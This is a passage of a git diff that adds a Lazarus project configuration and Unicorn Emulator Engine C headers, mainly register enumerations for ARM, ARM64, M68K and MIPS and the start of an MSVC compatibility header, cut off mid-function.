Value="lib/$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <CodeGeneration> + <SmartLinkUnit Value="True"/> + <Optimizations> + <OptimizationLevel Value="3"/> + </Optimizations> + </CodeGeneration> + <Linking> + <Debugging> + <GenerateDebugInfo Value="False"/> + </Debugging> + <LinkSmart Value="True"/> + </Linking> + </CompilerOptions> + </Item3> + </BuildModes> + <PublishOptions> + <Version Value="2"/> + </PublishOptions> + <RunParams> + <local> + <FormatVersion Value="1"/> + <CommandLineParams Value="-32"/> + </local> + </RunParams> + <Units Count="1"> + <Unit0> + <Filename Value="x86.lpr"/> + <IsPartOfProject Value="True"/> + </Unit0> + </Units> + </ProjectOptions> + <CompilerOptions> + <Version Value="11"/> + <Target> + <Filename Value="x86"/> + </Target> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <OtherUnitFiles Value="../unicorn"/> + <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + </CompilerOptions> + <Debugging> + <Exceptions Count="3"> + <Item1> + <Name Value="EAbort"/> + </Item1> + <Item2> + <Name Value="ECodetoolError"/> + </Item2> + <Item3> + <Name Value="EFOpenError"/> + </Item3> + </Exceptions> + </Debugging> +</CONFIG> diff --git a/Core/unicorn/include/unicorn/arm.h b/Core/unicorn/include/unicorn/arm.h new file mode 100755 index 0000000..f913005 --- /dev/null +++ b/Core/unicorn/include/unicorn/arm.h @@ -0,0 +1,153 @@ +/* Unicorn Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_ARM_H +#define UNICORN_ARM_H + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> ARM registers +typedef enum uc_arm_reg { + UC_ARM_REG_INVALID = 0, + UC_ARM_REG_APSR, + UC_ARM_REG_APSR_NZCV, + UC_ARM_REG_CPSR, + UC_ARM_REG_FPEXC, + UC_ARM_REG_FPINST, + UC_ARM_REG_FPSCR, + UC_ARM_REG_FPSCR_NZCV, + UC_ARM_REG_FPSID, + UC_ARM_REG_ITSTATE, + UC_ARM_REG_LR, + UC_ARM_REG_PC, + UC_ARM_REG_SP, + UC_ARM_REG_SPSR, + UC_ARM_REG_D0, + UC_ARM_REG_D1, + UC_ARM_REG_D2, + UC_ARM_REG_D3, + UC_ARM_REG_D4, + UC_ARM_REG_D5, + UC_ARM_REG_D6, + UC_ARM_REG_D7, + UC_ARM_REG_D8, + UC_ARM_REG_D9, + UC_ARM_REG_D10, + UC_ARM_REG_D11, + UC_ARM_REG_D12, + UC_ARM_REG_D13, + UC_ARM_REG_D14, + UC_ARM_REG_D15, + UC_ARM_REG_D16, + UC_ARM_REG_D17, + UC_ARM_REG_D18, + UC_ARM_REG_D19, + UC_ARM_REG_D20, + UC_ARM_REG_D21, + UC_ARM_REG_D22, + UC_ARM_REG_D23, + UC_ARM_REG_D24, + UC_ARM_REG_D25, + UC_ARM_REG_D26, + UC_ARM_REG_D27, + UC_ARM_REG_D28, + UC_ARM_REG_D29, + UC_ARM_REG_D30, + UC_ARM_REG_D31, + UC_ARM_REG_FPINST2, + UC_ARM_REG_MVFR0, + UC_ARM_REG_MVFR1, + UC_ARM_REG_MVFR2, + UC_ARM_REG_Q0, + UC_ARM_REG_Q1, + UC_ARM_REG_Q2, + UC_ARM_REG_Q3, + UC_ARM_REG_Q4, + UC_ARM_REG_Q5, + UC_ARM_REG_Q6, + UC_ARM_REG_Q7, + UC_ARM_REG_Q8, + UC_ARM_REG_Q9, + UC_ARM_REG_Q10, + UC_ARM_REG_Q11, + UC_ARM_REG_Q12, + UC_ARM_REG_Q13, + UC_ARM_REG_Q14, + UC_ARM_REG_Q15, + UC_ARM_REG_R0, + UC_ARM_REG_R1, + UC_ARM_REG_R2, + UC_ARM_REG_R3, + UC_ARM_REG_R4, + UC_ARM_REG_R5, + UC_ARM_REG_R6, + UC_ARM_REG_R7, + UC_ARM_REG_R8, + UC_ARM_REG_R9, + UC_ARM_REG_R10, + UC_ARM_REG_R11, + UC_ARM_REG_R12, + UC_ARM_REG_S0, + UC_ARM_REG_S1, + UC_ARM_REG_S2, + UC_ARM_REG_S3, + UC_ARM_REG_S4, + UC_ARM_REG_S5, + UC_ARM_REG_S6, + UC_ARM_REG_S7, + UC_ARM_REG_S8, + UC_ARM_REG_S9, + UC_ARM_REG_S10, + UC_ARM_REG_S11, + UC_ARM_REG_S12, + UC_ARM_REG_S13, + UC_ARM_REG_S14, + UC_ARM_REG_S15, + UC_ARM_REG_S16, + UC_ARM_REG_S17, + UC_ARM_REG_S18, + UC_ARM_REG_S19, + UC_ARM_REG_S20, + UC_ARM_REG_S21, + UC_ARM_REG_S22, + UC_ARM_REG_S23, + UC_ARM_REG_S24, + UC_ARM_REG_S25, + UC_ARM_REG_S26, + UC_ARM_REG_S27, + UC_ARM_REG_S28, + UC_ARM_REG_S29, + UC_ARM_REG_S30, + UC_ARM_REG_S31, + + UC_ARM_REG_C1_C0_2, + UC_ARM_REG_C13_C0_2, + UC_ARM_REG_C13_C0_3, + + UC_ARM_REG_ENDING, // <-- mark the end of the list or registers + + //> alias registers + UC_ARM_REG_R13 = UC_ARM_REG_SP, + UC_ARM_REG_R14 = UC_ARM_REG_LR, + UC_ARM_REG_R15 = UC_ARM_REG_PC, + + UC_ARM_REG_SB = UC_ARM_REG_R9, + UC_ARM_REG_SL = UC_ARM_REG_R10, + UC_ARM_REG_FP = UC_ARM_REG_R11, + UC_ARM_REG_IP = UC_ARM_REG_R12, +} uc_arm_reg; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/Core/unicorn/include/unicorn/arm64.h b/Core/unicorn/include/unicorn/arm64.h new file mode 100755 index 0000000..fe46f15 --- /dev/null +++ b/Core/unicorn/include/unicorn/arm64.h @@ -0,0 +1,307 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_ARM64_H +#define UNICORN_ARM64_H + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> ARM64 registers +typedef enum uc_arm64_reg { + UC_ARM64_REG_INVALID = 0, + + UC_ARM64_REG_X29, + UC_ARM64_REG_X30, + UC_ARM64_REG_NZCV, + UC_ARM64_REG_SP, + UC_ARM64_REG_WSP, + UC_ARM64_REG_WZR, + UC_ARM64_REG_XZR, + UC_ARM64_REG_B0, + UC_ARM64_REG_B1, + UC_ARM64_REG_B2, + UC_ARM64_REG_B3, + UC_ARM64_REG_B4, + UC_ARM64_REG_B5, + UC_ARM64_REG_B6, + UC_ARM64_REG_B7, + UC_ARM64_REG_B8, + UC_ARM64_REG_B9, + UC_ARM64_REG_B10, + UC_ARM64_REG_B11, + UC_ARM64_REG_B12, + UC_ARM64_REG_B13, + UC_ARM64_REG_B14, + UC_ARM64_REG_B15, + UC_ARM64_REG_B16, + UC_ARM64_REG_B17, + UC_ARM64_REG_B18, + UC_ARM64_REG_B19, + UC_ARM64_REG_B20, + UC_ARM64_REG_B21, + UC_ARM64_REG_B22, + UC_ARM64_REG_B23, + UC_ARM64_REG_B24, + UC_ARM64_REG_B25, + UC_ARM64_REG_B26, + UC_ARM64_REG_B27, + UC_ARM64_REG_B28, + UC_ARM64_REG_B29, + UC_ARM64_REG_B30, + UC_ARM64_REG_B31, + UC_ARM64_REG_D0, + UC_ARM64_REG_D1, + UC_ARM64_REG_D2, + UC_ARM64_REG_D3, + UC_ARM64_REG_D4, + UC_ARM64_REG_D5, + UC_ARM64_REG_D6, + UC_ARM64_REG_D7, + UC_ARM64_REG_D8, + UC_ARM64_REG_D9, + UC_ARM64_REG_D10, + UC_ARM64_REG_D11, + UC_ARM64_REG_D12, + UC_ARM64_REG_D13, + UC_ARM64_REG_D14, + UC_ARM64_REG_D15, + UC_ARM64_REG_D16, + UC_ARM64_REG_D17, + UC_ARM64_REG_D18, + UC_ARM64_REG_D19, + UC_ARM64_REG_D20, + UC_ARM64_REG_D21, + UC_ARM64_REG_D22, + UC_ARM64_REG_D23, + UC_ARM64_REG_D24, + UC_ARM64_REG_D25, + UC_ARM64_REG_D26, + UC_ARM64_REG_D27, + UC_ARM64_REG_D28, + UC_ARM64_REG_D29, + UC_ARM64_REG_D30, + UC_ARM64_REG_D31, + UC_ARM64_REG_H0, + UC_ARM64_REG_H1, + UC_ARM64_REG_H2, + UC_ARM64_REG_H3, + UC_ARM64_REG_H4, + UC_ARM64_REG_H5, + UC_ARM64_REG_H6, + UC_ARM64_REG_H7, + UC_ARM64_REG_H8, + UC_ARM64_REG_H9, + UC_ARM64_REG_H10, + UC_ARM64_REG_H11, + UC_ARM64_REG_H12, + UC_ARM64_REG_H13, + UC_ARM64_REG_H14, + UC_ARM64_REG_H15, + UC_ARM64_REG_H16, + UC_ARM64_REG_H17, + UC_ARM64_REG_H18, + UC_ARM64_REG_H19, + UC_ARM64_REG_H20, + UC_ARM64_REG_H21, + UC_ARM64_REG_H22, + UC_ARM64_REG_H23, + UC_ARM64_REG_H24, + UC_ARM64_REG_H25, + UC_ARM64_REG_H26, + UC_ARM64_REG_H27, + UC_ARM64_REG_H28, + UC_ARM64_REG_H29, + UC_ARM64_REG_H30, + UC_ARM64_REG_H31, + UC_ARM64_REG_Q0, + UC_ARM64_REG_Q1, + UC_ARM64_REG_Q2, + UC_ARM64_REG_Q3, + UC_ARM64_REG_Q4, + UC_ARM64_REG_Q5, + UC_ARM64_REG_Q6, + UC_ARM64_REG_Q7, + UC_ARM64_REG_Q8, + UC_ARM64_REG_Q9, + UC_ARM64_REG_Q10, + UC_ARM64_REG_Q11, + UC_ARM64_REG_Q12, + UC_ARM64_REG_Q13, + UC_ARM64_REG_Q14, + UC_ARM64_REG_Q15, + UC_ARM64_REG_Q16, + UC_ARM64_REG_Q17, + UC_ARM64_REG_Q18, + UC_ARM64_REG_Q19, + UC_ARM64_REG_Q20, + UC_ARM64_REG_Q21, + UC_ARM64_REG_Q22, + UC_ARM64_REG_Q23, + UC_ARM64_REG_Q24, + UC_ARM64_REG_Q25, + UC_ARM64_REG_Q26, + UC_ARM64_REG_Q27, + UC_ARM64_REG_Q28, + UC_ARM64_REG_Q29, + UC_ARM64_REG_Q30, + UC_ARM64_REG_Q31, + UC_ARM64_REG_S0, + UC_ARM64_REG_S1, + UC_ARM64_REG_S2, + UC_ARM64_REG_S3, + UC_ARM64_REG_S4, + UC_ARM64_REG_S5, + UC_ARM64_REG_S6, + UC_ARM64_REG_S7, + UC_ARM64_REG_S8, + UC_ARM64_REG_S9, + UC_ARM64_REG_S10, + UC_ARM64_REG_S11, + UC_ARM64_REG_S12, + UC_ARM64_REG_S13, + UC_ARM64_REG_S14, + UC_ARM64_REG_S15, + UC_ARM64_REG_S16, + UC_ARM64_REG_S17, + UC_ARM64_REG_S18, + UC_ARM64_REG_S19, + UC_ARM64_REG_S20, + UC_ARM64_REG_S21, + UC_ARM64_REG_S22, + UC_ARM64_REG_S23, + UC_ARM64_REG_S24, + UC_ARM64_REG_S25, + UC_ARM64_REG_S26, + UC_ARM64_REG_S27, + UC_ARM64_REG_S28, + UC_ARM64_REG_S29, + UC_ARM64_REG_S30, + UC_ARM64_REG_S31, + UC_ARM64_REG_W0, + UC_ARM64_REG_W1, + UC_ARM64_REG_W2, + UC_ARM64_REG_W3, + UC_ARM64_REG_W4, + UC_ARM64_REG_W5, + UC_ARM64_REG_W6, + UC_ARM64_REG_W7, + UC_ARM64_REG_W8, + UC_ARM64_REG_W9, + UC_ARM64_REG_W10, + UC_ARM64_REG_W11, + UC_ARM64_REG_W12, + UC_ARM64_REG_W13, + UC_ARM64_REG_W14, + UC_ARM64_REG_W15, + UC_ARM64_REG_W16, + UC_ARM64_REG_W17, + UC_ARM64_REG_W18, + UC_ARM64_REG_W19, + UC_ARM64_REG_W20, + UC_ARM64_REG_W21, + UC_ARM64_REG_W22, + UC_ARM64_REG_W23, + UC_ARM64_REG_W24, + UC_ARM64_REG_W25, + UC_ARM64_REG_W26, + UC_ARM64_REG_W27, + UC_ARM64_REG_W28, + UC_ARM64_REG_W29, + UC_ARM64_REG_W30, + UC_ARM64_REG_X0, + UC_ARM64_REG_X1, + UC_ARM64_REG_X2, + UC_ARM64_REG_X3, + UC_ARM64_REG_X4, + UC_ARM64_REG_X5, + UC_ARM64_REG_X6, + UC_ARM64_REG_X7, + UC_ARM64_REG_X8, + UC_ARM64_REG_X9, + UC_ARM64_REG_X10, + UC_ARM64_REG_X11, + UC_ARM64_REG_X12, + UC_ARM64_REG_X13, + UC_ARM64_REG_X14, + UC_ARM64_REG_X15, + UC_ARM64_REG_X16, + UC_ARM64_REG_X17, + UC_ARM64_REG_X18, + UC_ARM64_REG_X19, + UC_ARM64_REG_X20, + UC_ARM64_REG_X21, + UC_ARM64_REG_X22, + UC_ARM64_REG_X23, + UC_ARM64_REG_X24, + UC_ARM64_REG_X25, + UC_ARM64_REG_X26, + UC_ARM64_REG_X27, + UC_ARM64_REG_X28, + + UC_ARM64_REG_V0, + UC_ARM64_REG_V1, + UC_ARM64_REG_V2, + UC_ARM64_REG_V3, + UC_ARM64_REG_V4, + UC_ARM64_REG_V5, + UC_ARM64_REG_V6, + UC_ARM64_REG_V7, + UC_ARM64_REG_V8, + UC_ARM64_REG_V9, + UC_ARM64_REG_V10, + UC_ARM64_REG_V11, + UC_ARM64_REG_V12, + UC_ARM64_REG_V13, + UC_ARM64_REG_V14, + UC_ARM64_REG_V15, + UC_ARM64_REG_V16, + UC_ARM64_REG_V17, + UC_ARM64_REG_V18, + UC_ARM64_REG_V19, + UC_ARM64_REG_V20, + UC_ARM64_REG_V21, + UC_ARM64_REG_V22, + UC_ARM64_REG_V23, + UC_ARM64_REG_V24, + UC_ARM64_REG_V25, + UC_ARM64_REG_V26, + UC_ARM64_REG_V27, + UC_ARM64_REG_V28, + UC_ARM64_REG_V29, + UC_ARM64_REG_V30, + UC_ARM64_REG_V31, + + //> pseudo registers + UC_ARM64_REG_PC, // program counter register + + UC_ARM64_REG_CPACR_EL1, + + //> thread registers + UC_ARM64_REG_TPIDR_EL0, + UC_ARM64_REG_TPIDRRO_EL0, + UC_ARM64_REG_TPIDR_EL1, + + UC_ARM64_REG_ENDING, // <-- mark the end of the list of registers + + //> alias registers + + UC_ARM64_REG_IP0 = UC_ARM64_REG_X16, + UC_ARM64_REG_IP1 = UC_ARM64_REG_X17, + UC_ARM64_REG_FP = UC_ARM64_REG_X29, + UC_ARM64_REG_LR = UC_ARM64_REG_X30, +} uc_arm64_reg; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/Core/unicorn/include/unicorn/m68k.h b/Core/unicorn/include/unicorn/m68k.h new file mode 100755 index 0000000..80e8b92 --- /dev/null +++ b/Core/unicorn/include/unicorn/m68k.h @@ -0,0 +1,50 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2014-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_M68K_H +#define UNICORN_M68K_H + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> M68K registers +typedef enum uc_m68k_reg { + UC_M68K_REG_INVALID = 0, + + UC_M68K_REG_A0, + UC_M68K_REG_A1, + UC_M68K_REG_A2, + UC_M68K_REG_A3, + UC_M68K_REG_A4, + UC_M68K_REG_A5, + UC_M68K_REG_A6, + UC_M68K_REG_A7, + + UC_M68K_REG_D0, + UC_M68K_REG_D1, + UC_M68K_REG_D2, + UC_M68K_REG_D3, + UC_M68K_REG_D4, + UC_M68K_REG_D5, + UC_M68K_REG_D6, + UC_M68K_REG_D7, + + UC_M68K_REG_SR, + UC_M68K_REG_PC, + + UC_M68K_REG_ENDING, // <-- mark the end of the list of registers +} uc_m68k_reg; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/Core/unicorn/include/unicorn/mips.h b/Core/unicorn/include/unicorn/mips.h new file mode 100755 index 0000000..1089628 --- /dev/null +++ b/Core/unicorn/include/unicorn/mips.h @@ -0,0 +1,229 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_MIPS_H +#define UNICORN_MIPS_H + +#ifdef __cplusplus +extern "C" { +#endif + +// GCC MIPS toolchain has a default macro called "mips" which breaks +// compilation +#undef mips + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> MIPS registers +typedef enum UC_MIPS_REG { + UC_MIPS_REG_INVALID = 0, + //> General purpose registers + UC_MIPS_REG_PC, + + UC_MIPS_REG_0, + UC_MIPS_REG_1, + UC_MIPS_REG_2, + UC_MIPS_REG_3, + UC_MIPS_REG_4, + UC_MIPS_REG_5, + UC_MIPS_REG_6, + UC_MIPS_REG_7, + UC_MIPS_REG_8, + UC_MIPS_REG_9, + UC_MIPS_REG_10, + UC_MIPS_REG_11, + UC_MIPS_REG_12, + UC_MIPS_REG_13, + UC_MIPS_REG_14, + UC_MIPS_REG_15, + UC_MIPS_REG_16, + UC_MIPS_REG_17, + UC_MIPS_REG_18, + UC_MIPS_REG_19, + UC_MIPS_REG_20, + UC_MIPS_REG_21, + UC_MIPS_REG_22, + UC_MIPS_REG_23, + UC_MIPS_REG_24, + UC_MIPS_REG_25, + UC_MIPS_REG_26, + UC_MIPS_REG_27, + UC_MIPS_REG_28, + UC_MIPS_REG_29, + UC_MIPS_REG_30, + UC_MIPS_REG_31, + + //> DSP registers + UC_MIPS_REG_DSPCCOND, + UC_MIPS_REG_DSPCARRY, + UC_MIPS_REG_DSPEFI, + UC_MIPS_REG_DSPOUTFLAG, + UC_MIPS_REG_DSPOUTFLAG16_19, + UC_MIPS_REG_DSPOUTFLAG20, + UC_MIPS_REG_DSPOUTFLAG21, + UC_MIPS_REG_DSPOUTFLAG22, + UC_MIPS_REG_DSPOUTFLAG23, + UC_MIPS_REG_DSPPOS, + UC_MIPS_REG_DSPSCOUNT, + + //> ACC registers + UC_MIPS_REG_AC0, + UC_MIPS_REG_AC1, + UC_MIPS_REG_AC2, + UC_MIPS_REG_AC3, + + //> COP registers + UC_MIPS_REG_CC0, + UC_MIPS_REG_CC1, + UC_MIPS_REG_CC2, + UC_MIPS_REG_CC3, + UC_MIPS_REG_CC4, + UC_MIPS_REG_CC5, + UC_MIPS_REG_CC6, + UC_MIPS_REG_CC7, + + //> FPU registers + UC_MIPS_REG_F0, + UC_MIPS_REG_F1, + UC_MIPS_REG_F2, + UC_MIPS_REG_F3, + UC_MIPS_REG_F4, + UC_MIPS_REG_F5, + UC_MIPS_REG_F6, + UC_MIPS_REG_F7, + UC_MIPS_REG_F8, + UC_MIPS_REG_F9, + UC_MIPS_REG_F10, + UC_MIPS_REG_F11, + UC_MIPS_REG_F12, + UC_MIPS_REG_F13, + UC_MIPS_REG_F14, + UC_MIPS_REG_F15, + UC_MIPS_REG_F16, + UC_MIPS_REG_F17, + UC_MIPS_REG_F18, + UC_MIPS_REG_F19, + UC_MIPS_REG_F20, + UC_MIPS_REG_F21, + UC_MIPS_REG_F22, + UC_MIPS_REG_F23, + UC_MIPS_REG_F24, + UC_MIPS_REG_F25, + UC_MIPS_REG_F26, + UC_MIPS_REG_F27, + UC_MIPS_REG_F28, + UC_MIPS_REG_F29, + UC_MIPS_REG_F30, + UC_MIPS_REG_F31, + + UC_MIPS_REG_FCC0, + UC_MIPS_REG_FCC1, + UC_MIPS_REG_FCC2, + UC_MIPS_REG_FCC3, + UC_MIPS_REG_FCC4, + UC_MIPS_REG_FCC5, + UC_MIPS_REG_FCC6, + UC_MIPS_REG_FCC7, + + //> AFPR128 + UC_MIPS_REG_W0, + UC_MIPS_REG_W1, + UC_MIPS_REG_W2, + UC_MIPS_REG_W3, + UC_MIPS_REG_W4, + UC_MIPS_REG_W5, + UC_MIPS_REG_W6, + UC_MIPS_REG_W7, + UC_MIPS_REG_W8, + UC_MIPS_REG_W9, + UC_MIPS_REG_W10, + UC_MIPS_REG_W11, + UC_MIPS_REG_W12, + UC_MIPS_REG_W13, + UC_MIPS_REG_W14, + UC_MIPS_REG_W15, + UC_MIPS_REG_W16, + UC_MIPS_REG_W17, + UC_MIPS_REG_W18, + UC_MIPS_REG_W19, + UC_MIPS_REG_W20, + UC_MIPS_REG_W21, + UC_MIPS_REG_W22, + UC_MIPS_REG_W23, + UC_MIPS_REG_W24, + UC_MIPS_REG_W25, + UC_MIPS_REG_W26, + UC_MIPS_REG_W27, + UC_MIPS_REG_W28, + UC_MIPS_REG_W29, + UC_MIPS_REG_W30, + UC_MIPS_REG_W31, + + UC_MIPS_REG_HI, + UC_MIPS_REG_LO, + + UC_MIPS_REG_P0, + UC_MIPS_REG_P1, + UC_MIPS_REG_P2, + + UC_MIPS_REG_MPL0, + UC_MIPS_REG_MPL1, + UC_MIPS_REG_MPL2, + + UC_MIPS_REG_ENDING, // <-- mark the end of the list or registers + + // alias registers + UC_MIPS_REG_ZERO = UC_MIPS_REG_0, + UC_MIPS_REG_AT = UC_MIPS_REG_1, + UC_MIPS_REG_V0 = UC_MIPS_REG_2, + UC_MIPS_REG_V1 = UC_MIPS_REG_3, + UC_MIPS_REG_A0 = UC_MIPS_REG_4, + UC_MIPS_REG_A1 = UC_MIPS_REG_5, + UC_MIPS_REG_A2 = UC_MIPS_REG_6, + UC_MIPS_REG_A3 = UC_MIPS_REG_7, + UC_MIPS_REG_T0 = UC_MIPS_REG_8, + UC_MIPS_REG_T1 = UC_MIPS_REG_9, + UC_MIPS_REG_T2 = UC_MIPS_REG_10, + UC_MIPS_REG_T3 = UC_MIPS_REG_11, + UC_MIPS_REG_T4 = UC_MIPS_REG_12, + UC_MIPS_REG_T5 = UC_MIPS_REG_13, + UC_MIPS_REG_T6 = UC_MIPS_REG_14, + UC_MIPS_REG_T7 = UC_MIPS_REG_15, + UC_MIPS_REG_S0 = UC_MIPS_REG_16, + UC_MIPS_REG_S1 = UC_MIPS_REG_17, + UC_MIPS_REG_S2 = UC_MIPS_REG_18, + UC_MIPS_REG_S3 = UC_MIPS_REG_19, + UC_MIPS_REG_S4 = UC_MIPS_REG_20, + UC_MIPS_REG_S5 = UC_MIPS_REG_21, + UC_MIPS_REG_S6 = UC_MIPS_REG_22, + UC_MIPS_REG_S7 = UC_MIPS_REG_23, + UC_MIPS_REG_T8 = UC_MIPS_REG_24, + UC_MIPS_REG_T9 = UC_MIPS_REG_25, + UC_MIPS_REG_K0 = UC_MIPS_REG_26, + UC_MIPS_REG_K1 = UC_MIPS_REG_27, + UC_MIPS_REG_GP = UC_MIPS_REG_28, + UC_MIPS_REG_SP = UC_MIPS_REG_29, + UC_MIPS_REG_FP = UC_MIPS_REG_30, UC_MIPS_REG_S8 = UC_MIPS_REG_30, + UC_MIPS_REG_RA = UC_MIPS_REG_31, + + UC_MIPS_REG_HI0 = UC_MIPS_REG_AC0, + UC_MIPS_REG_HI1 = UC_MIPS_REG_AC1, + UC_MIPS_REG_HI2 = UC_MIPS_REG_AC2, + UC_MIPS_REG_HI3 = UC_MIPS_REG_AC3, + + UC_MIPS_REG_LO0 = UC_MIPS_REG_HI0, + UC_MIPS_REG_LO1 = UC_MIPS_REG_HI1, + UC_MIPS_REG_LO2 = UC_MIPS_REG_HI2, + UC_MIPS_REG_LO3 = UC_MIPS_REG_HI3, +} UC_MIPS_REG; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/Core/unicorn/include/unicorn/platform.h b/Core/unicorn/include/unicorn/platform.h new file mode 100755 index 0000000..fcd2c84 --- /dev/null +++ b/Core/unicorn/include/unicorn/platform.h @@ -0,0 +1,219 @@ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +/* + This file is to support header files that are missing in MSVC and + other non-standard compilers. +*/ +#ifndef UNICORN_PLATFORM_H +#define UNICORN_PLATFORM_H + +/* +These are the various MSVC versions as given by _MSC_VER: +MSVC++ 14.0 _MSC_VER == 1900 (Visual Studio 2015) +MSVC++ 12.0 _MSC_VER == 1800 (Visual Studio 2013) +MSVC++ 11.0 _MSC_VER == 1700 (Visual Studio 2012) +MSVC++ 10.0 _MSC_VER == 1600 (Visual Studio 2010) +MSVC++ 9.0 _MSC_VER == 1500 (Visual Studio 2008) +MSVC++ 8.0 _MSC_VER == 1400 (Visual Studio 2005) +MSVC++ 7.1 _MSC_VER == 1310 (Visual Studio 2003) +MSVC++ 7.0 _MSC_VER == 1300 +MSVC++ 6.0 _MSC_VER == 1200 +MSVC++ 5.0 _MSC_VER == 1100 +*/ +#define MSC_VER_VS2003 1310 +#define MSC_VER_VS2005 1400 +#define MSC_VER_VS2008 1500 +#define MSC_VER_VS2010 1600 +#define MSC_VER_VS2012 1700 +#define MSC_VER_VS2013 1800 +#define MSC_VER_VS2015 1900 + +// handle stdbool.h compatibility +#if !defined(__CYGWIN__) && !defined(__MINGW32__) && !defined(__MINGW64__) && (defined (WIN32) || defined (WIN64) || defined (_WIN32) || defined (_WIN64)) +// MSVC + +// stdbool.h +#if (_MSC_VER < MSC_VER_VS2013) || defined(_KERNEL_MODE) +// this system does not have stdbool.h +#ifndef __cplusplus +typedef unsigned char bool; +#define false 0 +#define true 1 +#endif // __cplusplus + +#else +// VisualStudio 2013+ -> C99 is supported +#include <stdbool.h> +#endif // (_MSC_VER < MSC_VER_VS2013) || defined(_KERNEL_MODE) + +#else +// not MSVC -> C99 is supported +#include <stdbool.h> +#endif // !defined(__CYGWIN__) && !defined(__MINGW32__) && !defined(__MINGW64__) && (defined (WIN32) || defined (WIN64) || defined (_WIN32) || defined (_WIN64)) + +#if (defined(_MSC_VER) && (_MSC_VER < MSC_VER_VS2010)) || defined(_KERNEL_MODE) +// this system does not have stdint.h +typedef signed char int8_t; +typedef signed short int16_t; +typedef signed int int32_t; +typedef unsigned char uint8_t; +typedef unsigned short uint16_t; +typedef unsigned int uint32_t; +typedef signed long long int64_t; +typedef unsigned long long uint64_t; + +#ifndef _INTPTR_T_DEFINED + #define _INTPTR_T_DEFINED + #ifdef _WIN64 +typedef long long intptr_t; + #else /* _WIN64 */ +typedef _W64 int intptr_t; + #endif /* _WIN64 */ +#endif /* _INTPTR_T_DEFINED */ + +#ifndef _UINTPTR_T_DEFINED + #define _UINTPTR_T_DEFINED + #ifdef _WIN64 +typedef unsigned long long uintptr_t; + #else /* _WIN64 */ +typedef _W64 unsigned int uintptr_t; + #endif /* _WIN64 */ +#endif /* _UINTPTR_T_DEFINED */ + +#define INT8_MIN (-127i8 - 1) +#define INT16_MIN (-32767i16 - 1) +#define INT32_MIN (-2147483647i32 - 1) +#define INT64_MIN (-9223372036854775807i64 - 1) +#define INT8_MAX 127i8 +#define INT16_MAX 32767i16 +#define INT32_MAX 2147483647i32 +#define INT64_MAX 9223372036854775807i64 +#define UINT8_MAX 0xffui8 +#define UINT16_MAX 0xffffui16 +#define UINT32_MAX 0xffffffffui32 +#define UINT64_MAX 0xffffffffffffffffui64 +#else // this system has stdint.h +#include <stdint.h> +#endif // (defined(_MSC_VER) && (_MSC_VER < MSC_VER_VS2010)) || defined(_KERNEL_MODE) + +// handle inttypes.h compatibility +#if (defined(_MSC_VER) && (_MSC_VER < MSC_VER_VS2013)) || defined(_KERNEL_MODE) +// this system does not have inttypes.h + +#define __PRI_8_LENGTH_MODIFIER__ "hh" +#define __PRI_64_LENGTH_MODIFIER__ "ll" + +#define PRId8 __PRI_8_LENGTH_MODIFIER__ "d" +#define PRIi8 __PRI_8_LENGTH_MODIFIER__ "i" +#define PRIo8 __PRI_8_LENGTH_MODIFIER__ "o" +#define PRIu8 __PRI_8_LENGTH_MODIFIER__ "u" +#define PRIx8 __PRI_8_LENGTH_MODIFIER__ "x" +#define PRIX8 __PRI_8_LENGTH_MODIFIER__ "X" + +#define PRId16 "hd" +#define PRIi16 "hi" +#define PRIo16 "ho" +#define PRIu16 "hu" +#define PRIx16 "hx" +#define PRIX16 "hX" + +#if defined(_MSC_VER) && (_MSC_VER <= MSC_VER_VS2012) +#define PRId32 "ld" +#define PRIi32 "li" +#define PRIo32 "lo" +#define PRIu32 "lu" +#define PRIx32 "lx" +#define PRIX32 "lX" +#else // OSX +#define PRId32 "d" +#define PRIi32 "i" +#define PRIo32 "o" +#define PRIu32 "u" +#define PRIx32 "x" +#define PRIX32 "X" +#endif // defined(_MSC_VER) && (_MSC_VER <= MSC_VER_VS2012) + +#if defined(_MSC_VER) && (_MSC_VER <= MSC_VER_VS2012) +// redefine functions from inttypes.h used in cstool +#define strtoull _strtoui64 +#endif + +#define PRId64 __PRI_64_LENGTH_MODIFIER__ "d" +#define PRIi64 __PRI_64_LENGTH_MODIFIER__ "i" +#define PRIo64 __PRI_64_LENGTH_MODIFIER__ "o" +#define PRIu64 __PRI_64_LENGTH_MODIFIER__ "u" +#define PRIx64 __PRI_64_LENGTH_MODIFIER__ "x" +#define PRIX64 __PRI_64_LENGTH_MODIFIER__ "X" + +#else +// this system has inttypes.h by default +#include <inttypes.h> +#endif // #if defined(_MSC_VER) && (_MSC_VER < MSC_VER_VS2013) || defined(_KERNEL_MODE) + +// sys/time.h compatibility +#if defined(_MSC_VER) +#include <sys/timeb.h> +#include <winsock2.h> +#include <windows.h> + +static int gettimeofday(struct timeval* t, void* timezone) +{ + struct _timeb timebuffer; + _ftime( &timebuffer ); + t->tv_sec = (long)timebuffer.time; + 